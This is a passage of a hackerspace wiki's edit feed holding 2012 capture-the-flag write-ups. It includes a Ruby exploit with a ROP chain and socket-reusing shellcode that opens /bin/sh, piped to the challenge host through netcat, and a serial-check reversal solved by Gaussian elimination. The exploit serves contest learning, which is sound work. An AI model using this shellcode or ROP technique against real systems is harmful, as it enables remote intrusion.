	cmp	$0x3,%cl	# do for 0, 1, 2&lt;br /&gt;
	jne	1b		# repeat&lt;br /&gt;
&lt;br /&gt;
	popl	%ecx		# zero ecx = argv&lt;br /&gt;
	mull	%ecx		# zero eax, edx = env&lt;br /&gt;
        pushl	$0x0068732f	# /sh\0&lt;br /&gt;
        pushl   $0x6e69622f	# /bin&lt;br /&gt;
	movl	%esp,%ebx	# string arg&lt;br /&gt;
	movb	$0xb,%al	# execve syscall number&lt;br /&gt;
	int	$0x80		# magic!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cat key.txt&lt;br /&gt;
&lt;br /&gt;
* all combined, use as (ruby h.rb; cat) | nc host 7331&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
addr = 0x60606000               # our page address&lt;br /&gt;
src = 0x804c2a0                 # from 0x80498f4&lt;br /&gt;
&lt;br /&gt;
sockoffset = 0xbc&lt;br /&gt;
&lt;br /&gt;
p = [&lt;br /&gt;
     # offset 0&lt;br /&gt;
     &amp;quot;use letter on &amp;quot;,&lt;br /&gt;
     # offset 14&lt;br /&gt;
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],&lt;br /&gt;
     # offset 31&lt;br /&gt;
     &amp;quot; &amp;quot; * (0x44 - 32),           # fill&lt;br /&gt;
     # offset 0x44&lt;br /&gt;
     0x80486d4,          # C mmap&lt;br /&gt;
     0x8048db5,          # L add $0x1c,%esp | ret&lt;br /&gt;
     addr,               # (void *addr,&lt;br /&gt;
     4096,               #  size_t len,&lt;br /&gt;
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,&lt;br /&gt;
     0,                  #  int filedes,&lt;br /&gt;
     0,                  #  off_t off)&lt;br /&gt;
     0,                  # filler, also possibly offset&lt;br /&gt;
     0x80487d4,          # C memcpy&lt;br /&gt;
     addr,               # L addr = shellcode&lt;br /&gt;
     addr,               # (void *dest,&lt;br /&gt;
     src + 4,            #  const void *src,&lt;br /&gt;
     200,                #  size_t n).&lt;br /&gt;
     &lt;br /&gt;
     [&lt;br /&gt;
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset&lt;br /&gt;
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number&lt;br /&gt;
      0x58,                         # popl  %eax     # into eax&lt;br /&gt;
      0xcd, 0x80,                   # int   $0x80    # do syscall&lt;br /&gt;
      0x41,                         # inc   %ecx     # inc desc2&lt;br /&gt;
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2&lt;br /&gt;
      0x75, 0xf5,                   # jne   1b       # repeat&lt;br /&gt;
&lt;br /&gt;
      0x59,       # popl  %ecx  # zero ecx = argv&lt;br /&gt;
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env&lt;br /&gt;
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0&lt;br /&gt;
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin&lt;br /&gt;
      0x89, 0xe3, # movl  %esp,%ebx  # string arg&lt;br /&gt;
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number&lt;br /&gt;
      0xcd, 0x80  # int	$0x80        # magic!&lt;br /&gt;
     ]&lt;br /&gt;
    ]&lt;br /&gt;
&lt;br /&gt;
shellcode = 0xc&lt;br /&gt;
&lt;br /&gt;
# this lives at src&lt;br /&gt;
namelen = 20&lt;br /&gt;
name = [&lt;br /&gt;
        # stack pivot&lt;br /&gt;
        0x08049019,              # add $0x9c,%esp | ret&lt;br /&gt;
&lt;br /&gt;
        # bootstrap shellcode&lt;br /&gt;
        [&lt;br /&gt;
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0x6a, namelen,           # pushl $XXX&lt;br /&gt;
         0x59,                    # popl  %ecx&lt;br /&gt;
         0x01, 0xcf,              # addl  %ecx,%edi&lt;br /&gt;
         0x57,                    # push  %edi&lt;br /&gt;
         0xf3, 0xa5,              # rep movsl&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0xff, 0xe7,              # jmp   *%edi&lt;br /&gt;
        ],&lt;br /&gt;
       ]&lt;br /&gt;
&lt;br /&gt;
all = name +&lt;br /&gt;
  [&lt;br /&gt;
   &amp;quot;\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;use can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;go south\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get letter\n&amp;quot;,&lt;br /&gt;
  ] +&lt;br /&gt;
  p + [&amp;quot;\n&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
def collapse(a)&lt;br /&gt;
  a.map do |e|&lt;br /&gt;
    case e&lt;br /&gt;
    when Numeric&lt;br /&gt;
      [e].pack(&amp;quot;V&amp;quot;)&lt;br /&gt;
    when Array&lt;br /&gt;
      e.pack('C*')&lt;br /&gt;
    else&lt;br /&gt;
      e.to_s&lt;br /&gt;
    end&lt;br /&gt;
  end.join&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  cp = collapse(all)&lt;br /&gt;
  # puts cp.size&lt;br /&gt;
  print cp&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1340</id>
		<title>Gits2012teaser</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1340"/>
				<updated>2012-01-08T12:46:16Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* #2 AL's Revenge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== #1 TelAviv ==&lt;br /&gt;
&lt;br /&gt;
What is the password? ([[File:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])&amp;lt;br&amp;gt;&lt;br /&gt;
Hint: TeLaViv+ is a packet forensics challenge.&lt;br /&gt;
&lt;br /&gt;
== #2 AL's Revenge ==&lt;br /&gt;
&lt;br /&gt;
* file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -&amp;gt; xzcat &amp;gt; f&lt;br /&gt;
* file f says LLVM bitcode -&amp;gt; llvm-dis &amp;gt; f.s (only works with LLVM 2.8, not with 3.0)&lt;br /&gt;
* analyze disassembly, extract C representation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int&lt;br /&gt;
VerifySerial(uint64_t name, uint64_t serial)&lt;br /&gt;
{&lt;br /&gt;
	uint64_t a = 0x8000000000000000LL;&lt;br /&gt;
        uint64_t b = 0xa348fccd93aea5a7LL;&lt;br /&gt;
	uint64_t result = 0;&lt;br /&gt;
&lt;br /&gt;
	/* high order bit set? */&lt;br /&gt;
	if (name &amp;amp; a)&lt;br /&gt;
		a ^= b;&lt;br /&gt;
&lt;br /&gt;
	if (serial &amp;amp; a)&lt;br /&gt;
		serial ^= b;&lt;br /&gt;
&lt;br /&gt;
	while (serial != 0) {&lt;br /&gt;
		if (serial &amp;amp; 1)&lt;br /&gt;
			result ^= name;&lt;br /&gt;
&lt;br /&gt;
		serial &amp;gt;&amp;gt;= 1;&lt;br /&gt;
		name &amp;lt;&amp;lt;= 1;&lt;br /&gt;
&lt;br /&gt;
		if (name &amp;amp; a)&lt;br /&gt;
			name ^= b;&lt;br /&gt;
	}H&lt;br /&gt;
&lt;br /&gt;
	return (result == 1);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.&lt;br /&gt;
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:&lt;br /&gt;
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.&lt;br /&gt;
* lacking math package fu, implement a gaussian elimination manually:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
class Numeric&lt;br /&gt;
  def bits64&lt;br /&gt;
    sprintf(&amp;quot;%064b&amp;quot;, self).each_char.map{|c| c == &amp;quot;0&amp;quot; ? 0 : 1}&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def names(name)&lt;br /&gt;
  p = 0xa348fccd93aea5a7&lt;br /&gt;
&lt;br /&gt;
  if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
    name ^= p&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  ([name] + 63.times.map do |i|&lt;br /&gt;
    name &amp;lt;&amp;lt;= 1&lt;br /&gt;
    if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
      name ^= p&lt;br /&gt;
    end&lt;br /&gt;
    name&lt;br /&gt;
  end).map(&amp;amp;:bits64)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Array&lt;br /&gt;
  def pivot&lt;br /&gt;
    res = []&lt;br /&gt;
    self[0].size.times.map do |i|&lt;br /&gt;
      self.size.times.map do |j|&lt;br /&gt;
        self[j][i]&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def bitary_to_int&lt;br /&gt;
    self.join.to_i(2)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Eq &amp;lt; Array&lt;br /&gt;
  attr_accessor :res&lt;br /&gt;
&lt;br /&gt;
  def initialize(ary, res)&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
    @res = res&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def lead_zero&lt;br /&gt;
    self.take_while{|e| e == 0}&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def first_pos&lt;br /&gt;
    self.index(1)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract(o)&lt;br /&gt;
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class EqSys &amp;lt; Array&lt;br /&gt;
  def initialize(ary, res=nil)&lt;br /&gt;
    if !(Eq === ary[0]) &amp;amp;&amp;amp; !ary.empty?&lt;br /&gt;
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}&lt;br /&gt;
    end&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def sort_by_zeros&lt;br /&gt;
    self.sort do |a, b|&lt;br /&gt;
      a.lead_zero &amp;lt;=&amp;gt; b.lead_zero&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract_eq(eq)&lt;br /&gt;
    pos = eq.first_pos&lt;br /&gt;
    return self if not pos&lt;br /&gt;
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def elim&lt;br /&gt;
    front = EqSys.new([])&lt;br /&gt;
    cur = nil&lt;br /&gt;
    rest = self.sort_by_zeros&lt;br /&gt;
    while not rest.empty?&lt;br /&gt;
      front &amp;lt;&amp;lt; cur if cur&lt;br /&gt;
      cur = rest.shift&lt;br /&gt;
&lt;br /&gt;
      front = front.subtract_eq(cur)&lt;br /&gt;
      rest = rest.subtract_eq(cur)&lt;br /&gt;
      rest = rest.sort_by_zeros&lt;br /&gt;
    end&lt;br /&gt;
    front &amp;lt;&amp;lt; cur&lt;br /&gt;
&lt;br /&gt;
    front&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def to_s&lt;br /&gt;
    self.map{|e| e.map(&amp;amp;:to_s).join + &amp;quot; = #{e.res}&amp;quot;}.join(&amp;quot;\n&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
require 'pp'&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  ns = names(0x6638623261336134)&lt;br /&gt;
&lt;br /&gt;
  pv = ns.pivot&lt;br /&gt;
  es = EqSys.new(pv, 1.bits64)&lt;br /&gt;
&lt;br /&gt;
  puts es.to_s&lt;br /&gt;
  puts&lt;br /&gt;
&lt;br /&gt;
  r = es.elim&lt;br /&gt;
  puts r.to_s&lt;br /&gt;
&lt;br /&gt;
  res = r.map{|e| e.res}.reverse&lt;br /&gt;
  puts res.bitary_to_int.to_s(16)&lt;br /&gt;
&lt;br /&gt;
  s0 = r.pivot.last.reverse&lt;br /&gt;
  puts s0.bitary_to_int.to_s(16)&lt;br /&gt;
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== #3 Hackquest ==&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1336</id>
		<title>Gits2012teaser</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1336"/>
				<updated>2012-01-08T12:39:26Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* #2 AL's Revenge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== #1 TelAviv ==&lt;br /&gt;
&lt;br /&gt;
== #2 AL's Revenge ==&lt;br /&gt;
&lt;br /&gt;
* file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -&amp;gt; xzcat &amp;gt; f&lt;br /&gt;
* file f says LLVM bitcode -&amp;gt; llvm-dis &amp;gt; f.s (only works with LLVM 2.8, not with 3.0)&lt;br /&gt;
* analyze disassembly, extract C representation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int&lt;br /&gt;
VerifySerial(uint64_t name, uint64_t serial)&lt;br /&gt;
{&lt;br /&gt;
	uint64_t a = 0x8000000000000000LL;&lt;br /&gt;
        uint64_t b = 0xa348fccd93aea5a7LL;&lt;br /&gt;
	uint64_t result = 0;&lt;br /&gt;
&lt;br /&gt;
	/* high order bit set? */&lt;br /&gt;
	if (name &amp;amp; a)&lt;br /&gt;
		a ^= b;&lt;br /&gt;
&lt;br /&gt;
	if (serial &amp;amp; a)&lt;br /&gt;
		serial ^= b;&lt;br /&gt;
&lt;br /&gt;
	while (serial != 0) {&lt;br /&gt;
		if (serial &amp;amp; 1)&lt;br /&gt;
			result ^= name;&lt;br /&gt;
&lt;br /&gt;
		serial &amp;gt;&amp;gt;= 1;&lt;br /&gt;
		name &amp;lt;&amp;lt;= 1;&lt;br /&gt;
&lt;br /&gt;
		if (name &amp;amp; a)&lt;br /&gt;
			name ^= b;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return (result == 1);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== #3 Hackquest ==&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1334</id>
		<title>Gits2012teaser</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1334"/>
				<updated>2012-01-08T12:30:55Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: Created page with &amp;quot;== #1 TelAviv ==  == #2 AL's Revenge ==  == Hackquest ==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== #1 TelAviv ==&lt;br /&gt;
&lt;br /&gt;
== #2 AL's Revenge ==&lt;br /&gt;
&lt;br /&gt;
== Hackquest ==&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=CTF&amp;diff=1333</id>
		<title>CTF</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=CTF&amp;diff=1333"/>
				<updated>2012-01-08T12:29:46Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* Solutions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Online challenges ==&lt;br /&gt;
=== Live ===&lt;br /&gt;
* Hack.lu&lt;br /&gt;
** [[Hack.lu CTF 2010]]&lt;br /&gt;
** [[Hack.lu CTF 2011]]&lt;br /&gt;
* [[rwthCTF 2011]]&lt;br /&gt;
* https://wiki.mozilla.org/Security/Events/CTF&lt;br /&gt;
* ...&lt;br /&gt;
=== Permanent ===&lt;br /&gt;
* http://www.newbiecontest.org&lt;br /&gt;
* http://www.hackthissite.com&lt;br /&gt;
* http://hackbbs.org&lt;br /&gt;
* http://www.try2hack.nl&lt;br /&gt;
* http://overthewire.org&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
== IRL challenges ==&lt;br /&gt;
* Insomni'Hack&lt;br /&gt;
* Jurackerfest&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
== Solutions ==&lt;br /&gt;
* [[CTF/gits2012teaser|GhostInTheShellcode 2012]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=CTF&amp;diff=1332</id>
		<title>CTF</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=CTF&amp;diff=1332"/>
				<updated>2012-01-08T12:28:59Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Online challenges ==&lt;br /&gt;
=== Live ===&lt;br /&gt;
* Hack.lu&lt;br /&gt;
** [[Hack.lu CTF 2010]]&lt;br /&gt;
** [[Hack.lu CTF 2011]]&lt;br /&gt;
* [[rwthCTF 2011]]&lt;br /&gt;
* https://wiki.mozilla.org/Security/Events/CTF&lt;br /&gt;
* ...&lt;br /&gt;
=== Permanent ===&lt;br /&gt;
* http://www.newbiecontest.org&lt;br /&gt;
* http://www.hackthissite.com&lt;br /&gt;
* http://hackbbs.org&lt;br /&gt;
* http://www.try2hack.nl&lt;br /&gt;
* http://overthewire.org&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
== IRL challenges ==&lt;br /&gt;
* Insomni'Hack&lt;br /&gt;
* Jurackerfest&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
== Solutions ==&lt;br /&gt;
* [[CTF/gits2012|GhostInTheShellcode 2012]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	</feed>